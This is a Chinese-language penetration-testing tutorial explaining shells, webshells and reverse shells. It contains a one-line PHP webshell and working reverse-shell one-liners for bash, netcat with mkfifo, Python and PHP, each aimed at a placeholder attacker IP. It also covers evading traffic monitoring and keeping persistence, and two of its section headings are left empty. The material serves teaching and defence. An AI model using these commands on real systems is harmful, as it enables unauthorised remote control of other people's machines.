2023-01-06 21:13:39
在渗透测试中,Shell是攻击者获取目标系统控制权的核心工具,其本质是通过命令行或编程接口与系统内核交互的通道。以下从名词解析、应用场景、技术实现三个维度展开说明:
一、核心名词解析Shell操作系统提供的用户与内核交互的接口,分为图形界面(GUI)和命令行界面(CLI)。渗透中特指通过漏洞获取的命令执行权限,如/bin/bash(Linux)或cmd.exe(Windows)。
Getshell通过漏洞利用(如文件上传、SQL注入、RCE漏洞)获取目标系统的初始命令执行权限,通常为非交互式Shell(如Webshell)。
Webshell以Web脚本形式存在的后门(如PHP、ASPX、JSP文件),通过HTTP协议接收攻击者指令并执行系统命令。特点:
依赖Web服务运行,无需额外端口
易被WAF检测,但隐蔽性较强
示例:<?php system($_GET['cmd']); ?>
反弹Shell(Reverse Shell)目标主机主动连接攻击者控制的服务器,建立双向通信通道。优势:
绕过防火墙对出站流量的限制
即使Webshell被删除,权限仍可维持
典型场景:内网渗透、持久化控制
突破非交互式限制Webshell默认无法执行交互式命令(如top、vim),需通过反弹Shell获取完整终端环境。
绕过安全检测
流量加密:使用SSL/TLS加密Shell通信,避免明文命令被审计设备捕获。
协议伪装:将Shell流量隐藏在HTTP、DNS等合法协议中。
内网横向移动反弹Shell可穿透内网隔离,结合socat、proxychains等工具实现多级跳板。
持久化控制通过计划任务、服务注册等方式维持Shell权限,即使系统重启仍可重新连接。
Bash反弹
bash -i >& /dev/tcp/攻击者IP/端口 0>&1/dev/tcp/是Linux特殊设备文件,用于建立TCP连接
>&重定向标准输出和错误到Socket
0>&1将标准输入绑定到同一Socket
Netcat(nc)反弹
nc -e /bin/sh 攻击者IP 端口 # 传统版(可能被拦截)nc.traditional -e /bin/sh 攻击者IP 端口 # 兼容旧系统需目标主机预装nc或ncat
配合命名管道(FIFO)实现双向通信:rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 攻击者IP 端口 > /tmp/f
Python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'os.dup2()重定向标准输入/输出/错误到Socket
适用于无nc但安装Python的环境
PHP反弹
php -r '$sock=fsockopen("攻击者IP",端口);exec("/bin/bash -i 0<&3 2>&3");'需关闭PHP安全模式(safe_mode=Off)
使用fsockopen建立TCP连接
基础反弹Shell为“哑终端”,缺乏命令补全、历史记录等功能。升级方法:
绕过流量审计设备:
总结:Shell是渗透测试中的关键攻击面,其技术演进围绕隐蔽性、交互性和持久性展开。防御需结合纵深策略,从代码层到网络层构建多层防护。